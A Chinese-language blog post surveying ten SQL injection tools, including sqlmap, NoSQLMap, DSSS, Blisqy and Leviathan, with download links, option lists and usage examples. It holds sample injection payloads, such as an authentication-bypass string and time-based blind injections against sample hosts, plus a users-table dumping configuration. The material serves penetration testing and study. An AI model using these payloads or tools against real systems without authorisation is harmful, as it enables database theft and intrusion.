赞
踩
SQL是一种解释型语言。如果 Web 应用程序建立 SQL 语句的方法不安全,就很可能会受到 SQL 注入攻击。严重时,攻击者可利用该方法修改数据库里的所有信息,甚至控制运行数据库的服务器。因此Web应用程序很容易因为SQL注入而被入侵。
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令的目的。
我们把 SQL 注入当成一道填空题的话那么他们的形式大概如下:
问:select * from username = ____ and password=_____
答:select * from username = “test” or “”=“” and password=“123456”
SQL注入攻击包括通过从客户端到应用程序的输入数据点来插入或“注入” SQL查询。成功的SQL注入漏洞可以从数据库读取敏感数据,修改数据库数据(插入/更新/删除),对数据库执行管理操作(例如关闭DBMS),恢复DBMS文件上存在的给定文件的内容系统,并在某些情况下向操作系统发出命令。
成功的SQL注入攻击可以读取敏感的服务器数据,例如密码,电子邮件,用户名等。所以SQL注入漏洞可能造成非常严重的后果。
以下为大家整理了最受欢迎的10款SQL注入工具,并收集了下载地址、简单基本使用说明。大家可以根据自己需要进行深入学习哦~~
SQLMap是一款开源渗透测试工具,可用于自动检测和利用SQL注入漏洞,并接管数据库服务器。Sqlmap 是一个基于命令行的半自动化SQL注入攻击工具。在我们使用扫描器或者是手工发现了一个SQL注入点后,通常需要验证注入点是否是一个可以利用的点,这个时候就可以利用sqlmap来完成。
SQLMap官网下载:http://sqlmap.org/#download
压缩包下载:https://github.com/sqlmapproject/sqlmap/tarball/master
你可以通过Git存储库来下载:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
在安装本工具时,要求先安装Python 哦
-p 指定测试参数
-b 获取banner
--dbs 列举数据库
--is-dba 是否是管理员权限
--current-db 当前数据库
--current-user 当前用户
--tables 列举数据库的表名
--count 检索所有条目数
--columns 获取表的列名
--dump 获取表中的数据,包含列
--dump-all 转存DBMS数据库所有表项目
--level 测试等级(1-5),默认为1
-v 显示详细信息
--delay 1(1秒) 表示延时1秒进行注入
读取数据库—>读取表---->读取表的字段---->获取内容
-D 指定数据库
-T 指定表
-C 指定字段
--dbms=mysql oracle mssql 指定数据库
官方文档:https://github.com/sqlmapproject/sqlmap/wiki/Usage
jSQL Injection是一个轻量级的应用程序,用于从远程服务器查找数据库信息。jSQL是免费的,开源的和可多平台使用的(Windows,Linux,Mac OS X,Solaris)。
jSQL injection是一款由JAVA开法的SQL自动化注入工具,它提供了数据库查询、后台爆破、文件读取、Web shell、SQL Shell、文件上传、暴力枚举、编码、批量注入测试等强大的功能,是一款非常不错的工具,也是渗透测试人员的强大助手。它支持GET\POST注入,同时也可以进行HTTP头注入(这个需要用户自动构建)。与sqlmap相比,其拥有图形化的界面和完整的中文支持。
在安装之前你需要安装JAVA(http://java.com/)
然后下载jSQL Injection:https://github.com/ron190/jsql-injection/releases/
也可以输入_java -jar jsql-injection-v0.81.jar_ 您的终端来启动该程序。
如果您正在使用Kali Linux,那么使用命令获取最新版本_sudo apt-get -f install jsql_,或者使用_apt update_ 当时的系统进行全面升级apt full-upgrade。
SQL盲注可是一个痛苦的过程。当工具都正常工作时,它们表现得很好,但是当它们无效时,你必须自己编写一些自定义的东西,这个过程既费时又乏味。而这一款盲注工具BBQSQL可以帮助我们解决这些问题。
BBQSQL是一款用Python编写的SQL盲注框架。在攻击棘手的SQL注入漏洞时,它会显得非常有用。BBQSQL还是一款半自动工具,可以为不会发现SQL注入点的用户提供大量自定义功能。该工具可与数据库无关,并且用途极为广泛。它还具有非常直观的用户界面,使设置攻击变得更加容易。同时,它也实现了Python gevent,这些都使BBQSQL非常快。
注意,BBQSQL最重要的是它不关心数据或数据库,而大多数SQL注入工具是要具体的数据库或语言建立的。
类似于其他的SQL注入工具,必须为它的运作提供一定的请求信息。BBQSQL如下:
指定注入的位置和语法:
HTTP参数
BBQSQL有许多HTTP参数配置时,便可以设置攻击。至少你必须提供想要注入发生的UR和方法。可以设置以下选项:
使用模板 ${injection}. } 来插入SQL注入查询的位置。如果没有注入模板,工具将不知道从何下手,插入SQL注入。
sudo pip install bbqsql
如果不行的话也可以使用源码下载:https://github.com/Neohapsis/bbqsql/
NoSQLMap是一款Python编写的开源工具,常用于审计NoSQL数据库中的自动注入攻击、为了从数据库中揭露数据而利用NoSQL数据库或使用NoSQL的Web应用的默认配置弱点。它这样命名是为了几年Bernardo Damele和Miroslav创作的流行的SQL工具SQLmap,它的设计理念来源于Ming Chow在Defcon中发表的很棒的演讲-”Abusing NoSQL Databases”。该工具目前主要应用于MongoDB,但是它在未来的版本中还会支持其他基于NoSQL的平台,如CouchDB, Redis和Cassandra等。当前该项目的目的是为简单攻击MongoDB服务器和一些web应用提供渗透测试工具,以及用通过概念攻击来证明某NoSQL应用不会受到SQL注入。
项目地址:https://github.com/codingo/NoSQLMap
从启动开始:
python NoSQLMap
NoSQLMap使用基于菜单的系统来进行攻击。启动NoSQLMap后,将显示主菜单:
1-Set options (do this first) //设置选项(第一步操作)
2-NoSQL DB Access Attacks //NoSQL DB 访问攻击
3-NoSQL Web App attacks //NoSQL Web应用攻击
4-Scan for Anonymous MongoDB Access //扫描匿名MongoDB访问
x-Exit //退出
选项说明:
1. 将目标主机/IP设置为要攻击的目标web服务器(即www.google.com)或MongoDB服务器。
2. 如果目标是web应用程序,请为该web应用程序设置web应用程序端口TCP端口。
3. 设置URI Path URI的一部分,包含页面名和任何参数,但不包含主机名(例如/app/acct.php?acctid=102)。
4. Set HTTP Request Method(GET/POST)-将请求方法设置为GET或POST;目前只实现GET,但正在实现从Burp导出的POST请求。
5. 设置我的本地Mongo/Shell IP-如果直接攻击一个MongoDB实例,设置这个选项到目标Mongo安装的IP来复制受害者服务器或打开Meterpreter shell。
6. 设置shell监听端口-如果开放Meterpreter shell就会指定端口。
7. 加载选项文件-加载一个之前1-6中保存的设置。
8. 从保存的Burp请求加载选择-解析来自Burp Suite的已保存的请求,并填充Web应用选项。
9. 保存选项文件-为未来使用保存1-6中的设置。
x. 返回主菜单-使用这个选项开始攻击。
设置好选项后,请回到主菜单,然后根据要攻击NoSQL管理端口还是Web应用程序,选择适当的数据库访问攻击或Web应用程序攻击。
Whitewidow是是一个开源自动化SQL漏洞扫描程序,能够运行文件列表,或者可以抓取谷歌搜索潜在的易受攻击的网站。它允许自动文件格式化,随机用户代理,IP地址,服务器信息,多个SQL注入语法,从程序启动sqlmap的能力,以及有趣的环境。该程序是为学习目的而创建的,旨在向用户传授漏洞的样子。
项目地址:https://github.com/WhitewidowScanner/whitewidow
ruby whitewidow.rb -d
这将在默认模式下运行whitewidow,并使用随机搜索查询从Google抓取可能的网站。
ruby whitewidow.rb -f path/to/file
这将在给定文件中运行whitewidow,并将SQL语法添加到URL。
ruby whitewidow.rb -h
将运行帮助标志以及显示帮助菜单。
DSSS是一款功能齐全的SQL注入漏洞扫描程序(支持GET和POST参数),用了不到100行代码编写。
从可选设置开始,它支持HTTP代理和HTTP标头值User-Agent,Referer以及Cookie。
运行此程序需要Python版本2.6.x或2.7.x.
项目地址:https://github.com/stamparm/DSSS
$ python3 dsss.py -h Damn Small SQLi Scanner (DSSS) < 100 LoC (Lines of Code) #v0.3a by: Miroslav Stampar (@stamparm) Usage: dsss.py [options] Options: --version 显示程序的版本号并退出 -h, --help 显示此帮助消息并退出 -u URL, --url=URL 目标URL(例如“http://www.Target.com/page.php”?id=1“) --data=DATA 发布数据(例如“query=test”) --cookie=COOKIE HTTP Cookie header 值 --user-agent=UA HTTP User-Agent header 值 --referer=REFERER HTTP Referer header 值 --proxy=PROXY HTTP 代理地址 (e.g. "http://127.0.0.1:8080" $ python3 dsss.py -u "http://testphp.vulnweb.com/artists.php?artist=1" Damn Small SQLi Scanner (DSSS) < 100 LoC (Lines of Code) #v0.3a by: Miroslav Stampar (@stamparm) * scanning GET parameter 'artist' (i) GET parameter 'artist' could be error SQLi vulnerable (MySQL) (i) GET parameter 'artist' appears to be blind SQLi vulnerable (e.g.: 'http://t estphp.vulnweb.com/artists.php?artist=1%20AND%2061%3E60') scan results: possible vulnerabilities foun
explo是一款简单的工具,可以以人类和机器可读的格式描述网络安全问题。通过定义请求/条件工作流程,explo无需编写脚本即可利用安全问题。这允许以简单的可读和可执行格式共享复杂的漏洞。
项目地址:https://github.com/dtag-dev-sec/explo
pip install explo
git clone https://github.com/dtag-dev-sec/explo
cd explo
python setup.py install
explo [--verbose|-v] testcase.yaml
explo [--verbose|-v] examples/*.yaml
http模块允许发出http请求,提取内容以及搜索/验证内容。
以下数据可用于以下步骤:
如果find_regex设置了参数,则在响应主体上执行正则表达式匹配。如果失败,则此模块返回失败,从而停止执行当前工作流程(以及所有步骤)。
要引用Cookie,请引用上一步中应从(cookies: the_other_step.response.cookies)获取Cookie的名称。
参数示例:
parameter: url: http://example.com method: GET allow_redirects: True headers: User-Agent: explo Content-Type: abc cookies: stepname.response.cookies body: key: value find: search for string find_regex: search for (reg|ular)expression find_in_headers: searchstring in headers extract: variable1: [CSS, '#csrf'] variable2: [REGEX, '<input(.*?)value="(?P<extract>.*?)"']
http-header模块允许检查响应是否错过了一组指定的标头(和值)。所有其他参数_与_ http模块_相同_。
以下数据可用于其他模块:
参数示例:
parameter:
url: http://example.com
method: GET
allow_redirects: True
headers:
User-Agent: explo
Content-Type: abc
body:
key: value
headers_required:
X-XSS-Protection: 1
Server: . # all values are valid
sqli_blind模块能够识别基于时间的盲SQL注入。
以下数据可用于其他模块:
参数示例:
parameter:
url: http://example.com/vulnerable.php?id=1' waitfor delay '00:00:5'--
method: GET
delay_seconds: 5
如果超过了5秒的阈值(delay_seconds),则检查返回true(并因此成功)。
提取csrf令牌并以某种形式使用的示例:
name: get_csrf description: extract csrf token module: http parameter: url: http://example.com/contact method: GET header: user-agent: Mozilla/5.0 extract: csrf: [CSS, "#csrf"] --- name: exploit description: exploits sql injection vulnerability with valid csrf token module: http parameter: url: http://example.com/contact method: POST body: csrf: "{{get_csrf.extracted.csrf}}" username: "' SQL INJECTION" find: You have an error in your SQL syntax
该模块通过使用bitshifting方法 计算 字符而不是猜测字符来执行盲SQL注入 。每个字符需要7/8个请求,具体取决于配置。
项目地址:https://github.com/awnumar/blind-sql-bitshifting
import blind-sql-bitshifting as x
//编辑此字典以配置攻击向量
x.options
配置示例:
// 易受攻击的链接 x.options["target"] = "http://www.example.com/index.php?id=1" // 指定cookie(可选) x.options["cookies"] = "" // 为特定行指定条件,例如“uid=1”表示管理员(可选) x.options["row_condition"] = "" // 用于以下重定向的布尔选项 x.options["follow_redirections"] = 0 // 指定用户代理 x.options["user_agent"] = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" // 指定要转储的表 x.options["table_name"] = "users" // 指定要转储的列 x.options["columns"] = "id, username" // 语句成功后要在页上检查的字符串 x.options["truth_string"] = "<p id='success'>true</p>" #见下文 x.options["assume_only_asci
该 assume_only_ascii 选项使模块假定其转储的字符均为ASCII。由于ASCII字符集仅上升到 127 ,我们可以将第一位设置为 0 而不必担心计算它。这 12.5% 减少了请求。在本地测试中,平均速度提高了 15% 。当然,转储超出ASCII范围的字符时,这可能会导致问题。默认情况下,它设置为 0 。
配置完成后:
x.exploit()
这将返回一个二维数组,每个子数组都包含一行,第一个是列标题。
输出示例:
[['id', 'username'], ['1', 'eclipse'], ['2', 'dotcppfile'], ['3', 'Acey'], ['4', 'Wardy'], ['5', 'idek']]
(可选)您的脚本随后可以利用 表格 模块输出数据:
from tabulate import tabulate
data = x.exploit()
print tabulate(data,
headers='firstrow', # This specifies to use the first row as the column headers.
tablefmt='psql') # Using the SQL output format. Other formats can be used
这将输出:
+------+------------+
| id | username |
|------+------------|
| 1 | eclipse |
| 2 | dotcppfile |
| 3 | Acey |
| 4 | Wardy |
| 5 | idek |
+------+------------+
Leviathan是一个大众审计工具包,具有广泛的服务发现,暴力破解,SQL注入检测和运行自定义漏洞利用功能。它包含开源工具,例如masscan,ncrack,dsss,并为您提供了结合使用它们的灵活性。该项目的主要目标是在全国范围或广泛的IP范围内审计尽可能多的系统。
项目地址:https://github.com/leviathan-framework/leviathan
Kali Linux:
通过克隆Git存储库下载leviathan:
git clone https://github.com/leviathan-framework/leviathan.git
进入文件夹
cd leviathan
安装Python库:
pip install -r requirements.txt
完成!
Debian / Ubuntu:
通过克隆Git存储库下载leviathan:
git clone https://github.com/leviathan-framework/leviathan.git
进入文件夹
cd leviathan
Run installiation脚本。它将设置所需的工具(ncrack,masscan)和python库。
bash scripts/debian_install.sh
完成!
macOS:
如果您的系统上未安装homebrew,请先安装它:
/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
通过克隆Git存储库下载leviathan:
git clone https://github.com/leviathan-framework/leviathan.git
进入文件夹
cd leviathan
运行安装脚本。它将设置所需的工具(ncrack,masscan)和python库。
bash scripts/macos_install.sh
完成!
要求
运行此程序需要Python版本2.7.x。
支持的平台:Linux(Kali Linux,Debian,Ubuntu),macOS
用法使用
以下命令运行程序:
python leviathan.py
简短演示:https : //asciinema.org/a/617bsxl1y84bav9f5bcwllx7r
简短的演示:https : //asciinema.org/a/43y2j38zu7hbnuahrj233d5r0
简短演示:https : //asciinema.org/a/0xcrhd12f2lpkbktjldwtab16
简短演示:https : //asciinema.org/a/2mwfmd9afsuyg5p0vzcq5e6si
简短演示:https : //asciinema.org/a/9uqsjvnru780h0ue6ok9j9ktb
Masscan:这是Robert David Graham的非常快速的TCP端口扫描程序。Leviathan使用masscan来检测巨大IP范围内的服务。https://github.com/robertdavidgraham/masscan
Ncrack:Ncrack是一种高速网络身份验证破解工具。Leviathan使用ncrack暴力破解服务,例如FTP,SSH,RDP,Telnet,MYSQL等。https://github.com/nmap/ncrack
DSSS(该死的小型SQLi扫描程序):DSSS是Miroslav Stampar的功能齐全且最小的SQL注入漏洞扫描程序。Leviathan使用DSSS来识别特定URL上的SQL Injection漏洞。https://github.com/stamparm/DSSS
对于MySQL / MariaDB,通过盲SQL注入对可打印ASCII字符使用按位运算,这是一种缓慢的数据虹吸。
项目地址:https://github.com/JohnTroony/Blisqy
USAGE: blisqy.py --server <Web Server> --port <port> --header <vulnerable header> --hvalue <header value> --inject <point of injection> --payload <custom sql payload> --dig <yes/no> --sleeptime <default 0.5> Options: -h, --help 帮助显示此帮助消息并退出 --server=WEBSERVER 指定主机(web服务器)IP --port=PORT 指定端口 --header=VULNHEADER 提供易受攻击的HTTP头 --hvalue=HEADERVALUE 指定易受攻击的head的值 --inject=INJECTION 提供注入Sqlipayload的位置 --payload=PAYLOAD 提供SQL语句/查询作为payload注入 --dig=DIGGER 自动Mysql模式枚举(需要时间!) --sleeptime=SLEEP 盲SQLi查询的睡眠时间(默认值:0.5) --interactive=INTERACT 打开/关闭交互模式(默认:关闭)
inject
在确定Web服务器上的基于时间的BlindSQL注入后,此选项使用户可以制作和插入SQL注入有效负载。此选项的值应该是这样的:
--inject "' or if((*sql*),sleep(*time*),0) and '1'='1"
在哪里
–sleeptime
Blisqy现在接受用户设置–sleeptime并将其插入–inject *time*。始终确保您已经对该值进行了微调,以与您的环境和网络延迟产生共鸣…。(值越低,我们走得越快)。例如–sleeeptime 0.1
–payload
此选项允许用户运行自己的自定义SQL注入有效负载。其他选项(例如–dig和)–interactive 必须设置(不得忽略)才能运行此选项。
示例:
命令
./blisqy.py --server 192.168.56.101 --port 80 --header "X-Forwarded-For" --hvalue "hacker"
--sleeptime 0.1
--inject "' or if((*sql*),sleep(*time*),0) and '1'='1"
--payload "select @@hostname"
–interactive
此选项接受两个值,即on或off以及it complements选项–dig(此选项必须设置为yes)。如果设置为,–interactive on则用户将选择要枚举的发现表,并决定是否应该转储该表中的数据。设置为“ --interactive off”时,将枚举每个表并转储所有数据。
从表中获取数据:启用时,用户可以决定从哪些列中提取数据–interactive。格式看起来像这样:column1*column1*column2-只是列名用星号分隔。用户也可以通过输入skip而不是列名来避免在特定表上收集数据。
示例:
命令
./blisqy.py --server 192.168.56.101 --port 80 --header "X-Forwarded-For" --hvalue "hacker" --dig yes
--sleeptime 0.1 --interactive on --inject "' or if((*sql*),sleep(*time*),0) and '1'='1"
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》文末免费下载
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。